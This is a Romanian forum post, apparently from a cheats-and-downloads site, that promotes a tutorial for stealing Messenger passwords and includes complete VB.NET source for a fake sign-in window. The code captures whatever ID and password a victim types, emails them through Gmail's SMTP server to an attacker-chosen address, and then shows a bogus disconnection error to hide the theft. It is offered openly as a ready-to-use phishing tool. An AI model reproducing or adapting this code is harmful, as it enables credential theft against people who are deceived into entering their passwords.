NextCs
Filme noi 2012 filme noi filme comedie filme horror filme de groaza filme aventura filme actiune filme desene animate download filme gratis filme noi , filme thriller , filme gratis , jocuri full download , jocuri gratis , jocuri full , muzica noua , muzica romaneasca , hacking , torrent , jocuri free download , free download cfg silent aim ,dll , aimbot for counter strike 1.6 free download, scripts aim , eac , voiplay , Vac : WWW.NEXTCS.3XFORUM.RO WWW.NEXTCS.3XFORUM.RO FREE DOWNLOAD
Deci am facut acum ceva timp un tutorial despre cum poti face un hack tool cu care poti fura parole mess in cele mai simple si credibile metode...A si utilizand acel script vbs din tutoriale puteti fura orice parola tastata intr-un hack creat dupa acel script... sper ca administratorul sa nu se supere ca e link catre blog meu , deoarece tutorialul cred ca e destul de bunicel si merita promovat (parerea mea)...
_embedded
Code:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
If TextBox1.Text = "" Then
MsgBox("You must enter an ID and password", MsgBoxStyle.Exclamation, "Sign-In Problem")
Else
End If
End If
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("your gmail E-mail ", "your gmail password")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("In which mail address you want the cracked password to be sent")
mail.From = New MailAddress("your gmail E-mail ")
mail.Subject = "Hack"
mail.Body = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Try
SmtpServer.Send(mail)
MsgBox("Server Disconnected! Uninstall your messenger and reinstall it and then try again", MsgBoxStyle.Critical, "Disconnected")
Me.Close()
Catch ex As Exception
MsgBox("An Error Has Occured... Coudn't sign in", MsgBoxStyle.Exclamation, "Error Please Retry")
End Try
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
MsgBox("Sign in first", MsgBoxStyle.Exclamation, "Sign in")
End Sub
End Class
